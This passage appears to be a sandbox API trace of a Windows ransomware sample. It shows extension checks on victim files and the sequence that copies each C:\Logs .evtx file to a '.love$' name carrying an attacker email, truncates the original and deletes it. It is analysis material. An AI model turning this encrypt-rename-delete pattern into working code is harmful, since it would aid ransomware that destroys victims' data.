(lpString1=".pdf", lpString2=".sys") returned -1 [0111.800] lstrlenW (lpString=".xls") returned 4 [0111.800] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0111.800] lstrlenW (lpString=".xlsx") returned 5 [0111.800] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0111.800] lstrlenW (lpString=".ppt") returned 4 [0111.801] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.801] lstrlenW (lpString=".zip") returned 4 [0111.801] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0111.801] lstrlenW (lpString=".rar") returned 4 [0111.801] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString=".bz2") returned 4 [0111.801] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString=".7z") returned 3 [0111.801] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0111.801] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.801] lstrlenW (lpString=".dbf") returned 4 [0111.801] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.801] lstrlenW (lpString=".1cd") returned 4 [0111.801] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.801] lstrlenW (lpString=".jpg") returned 4 [0111.801] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.801] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.801] lstrlenW (lpString=".doc") returned 4 [0111.801] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0111.801] lstrlenW (lpString=".docx") returned 5 [0111.801] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0111.801] lstrlenW (lpString=".pdf") returned 4 [0111.801] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0111.802] lstrlenW (lpString=".xls") returned 4 [0111.802] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0111.802] lstrlenW (lpString=".xlsx") returned 5 [0111.802] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0111.802] lstrlenW (lpString=".ppt") returned 4 [0111.802] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0111.802] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.802] lstrlenW (lpString=".zip") returned 4 [0111.802] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0111.802] lstrlenW (lpString=".rar") returned 4 [0111.802] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0111.802] lstrlenW (lpString=".bz2") returned 4 [0111.802] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0111.802] lstrlenW (lpString=".7z") returned 3 [0111.802] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0111.802] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.802] lstrlenW (lpString=".dbf") returned 4 [0111.802] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0111.802] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.802] lstrlenW (lpString=".1cd") returned 4 [0111.802] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0111.802] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.802] lstrlenW (lpString=".jpg") returned 4 [0111.802] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0111.803] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0111.803] lstrlenW (lpString="Application.evtx") returned 16 [0111.803] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.817] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0111.817] CloseHandle (hObject=0x380) returned 1 [0111.817] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0111.818] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\application.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0111.818] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.818] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.818] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.818] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\application.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0111.818] GetLastError () returned 0x0 [0111.819] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0111.893] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0111.896] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.896] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf4, lpOverlapped=0x0) returned 1 [0111.896] SetEndOfFile (hFile=0x2c8) returned 1 [0111.897] CloseHandle (hObject=0x2c8) returned 1 [0112.342] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.477] SetEndOfFile (hFile=0x380) returned 1 [0112.479] CloseHandle (hObject=0x380) returned 1 [0112.479] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0112.479] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0112.479] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString=".doc") returned 4 [0112.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString=".docx") returned 5 [0112.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.480] lstrlenW (lpString=".pdf") returned 4 [0112.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString=".xls") returned 4 [0112.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString=".xlsx") returned 5 [0112.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.480] lstrlenW (lpString=".ppt") returned 4 [0112.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString=".zip") returned 4 [0112.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString=".rar") returned 4 [0112.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString=".bz2") returned 4 [0112.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString=".7z") returned 3 [0112.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString=".dbf") returned 4 [0112.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString=".1cd") returned 4 [0112.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString=".jpg") returned 4 [0112.480] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.480] lstrlenW (lpString=".doc") returned 4 [0112.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString=".docx") returned 5 [0112.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.481] lstrlenW (lpString=".pdf") returned 4 [0112.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString=".xls") returned 4 [0112.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString=".xlsx") returned 5 [0112.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.481] lstrlenW (lpString=".ppt") returned 4 [0112.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.481] lstrlenW (lpString=".zip") returned 4 [0112.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString=".rar") returned 4 [0112.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString=".bz2") returned 4 [0112.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString=".7z") returned 3 [0112.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.481] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.481] lstrlenW (lpString=".dbf") returned 4 [0112.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.481] lstrlenW (lpString=".1cd") returned 4 [0112.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.481] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0112.481] lstrlenW (lpString=".jpg") returned 4 [0112.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.481] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.481] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0112.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.482] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0112.482] CloseHandle (hObject=0x380) returned 1 [0112.482] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0112.482] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.482] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.482] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.483] GetLastError () returned 0x0 [0112.483] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0112.486] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0112.488] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.488] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x132, lpOverlapped=0x0) returned 1 [0112.488] SetEndOfFile (hFile=0x354) returned 1 [0112.489] CloseHandle (hObject=0x354) returned 1 [0112.492] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.492] SetEndOfFile (hFile=0x380) returned 1 [0112.493] CloseHandle (hObject=0x380) returned 1 [0112.493] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0112.494] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0112.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.494] lstrlenW (lpString=".doc") returned 4 [0112.494] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString=".docx") returned 5 [0112.494] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.494] lstrlenW (lpString=".pdf") returned 4 [0112.494] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString=".xls") returned 4 [0112.494] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString=".xlsx") returned 5 [0112.494] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.494] lstrlenW (lpString=".ppt") returned 4 [0112.494] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.494] lstrlenW (lpString=".zip") returned 4 [0112.494] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString=".rar") returned 4 [0112.494] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString=".bz2") returned 4 [0112.494] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.494] lstrlenW (lpString=".7z") returned 3 [0112.494] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.494] lstrlenW (lpString=".dbf") returned 4 [0112.495] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.495] lstrlenW (lpString=".1cd") returned 4 [0112.495] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.495] lstrlenW (lpString=".jpg") returned 4 [0112.495] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.495] lstrlenW (lpString=".doc") returned 4 [0112.495] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString=".docx") returned 5 [0112.495] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.495] lstrlenW (lpString=".pdf") returned 4 [0112.495] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString=".xls") returned 4 [0112.495] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString=".xlsx") returned 5 [0112.495] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.495] lstrlenW (lpString=".ppt") returned 4 [0112.495] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.495] lstrlenW (lpString=".zip") returned 4 [0112.495] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString=".rar") returned 4 [0112.495] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString=".bz2") returned 4 [0112.495] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.495] lstrlenW (lpString=".7z") returned 3 [0112.495] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.495] lstrlenW (lpString=".dbf") returned 4 [0112.495] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.496] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.496] lstrlenW (lpString=".1cd") returned 4 [0112.496] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.496] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0112.496] lstrlenW (lpString=".jpg") returned 4 [0112.496] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.496] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.496] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0112.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.498] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0112.498] CloseHandle (hObject=0x380) returned 1 [0112.498] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0112.498] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.498] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.498] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.498] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.498] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.499] GetLastError () returned 0x0 [0112.499] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0112.501] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0112.503] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.503] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x170, lpOverlapped=0x0) returned 1 [0112.504] SetEndOfFile (hFile=0x354) returned 1 [0112.504] CloseHandle (hObject=0x354) returned 1 [0112.508] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.509] SetEndOfFile (hFile=0x380) returned 1 [0112.510] CloseHandle (hObject=0x380) returned 1 [0112.510] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0112.510] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0112.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.510] lstrlenW (lpString=".doc") returned 4 [0112.511] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString=".docx") returned 5 [0112.511] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.511] lstrlenW (lpString=".pdf") returned 4 [0112.511] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString=".xls") returned 4 [0112.511] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString=".xlsx") returned 5 [0112.511] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.511] lstrlenW (lpString=".ppt") returned 4 [0112.511] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.511] lstrlenW (lpString=".zip") returned 4 [0112.511] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString=".rar") returned 4 [0112.511] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString=".bz2") returned 4 [0112.511] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString=".7z") returned 3 [0112.511] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.511] lstrlenW (lpString=".dbf") returned 4 [0112.511] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.511] lstrlenW (lpString=".1cd") returned 4 [0112.511] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.511] lstrlenW (lpString=".jpg") returned 4 [0112.511] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.511] lstrlenW (lpString=".doc") returned 4 [0112.511] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString=".docx") returned 5 [0112.512] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.512] lstrlenW (lpString=".pdf") returned 4 [0112.512] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString=".xls") returned 4 [0112.512] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString=".xlsx") returned 5 [0112.512] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.512] lstrlenW (lpString=".ppt") returned 4 [0112.512] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.512] lstrlenW (lpString=".zip") returned 4 [0112.512] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString=".rar") returned 4 [0112.512] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString=".bz2") 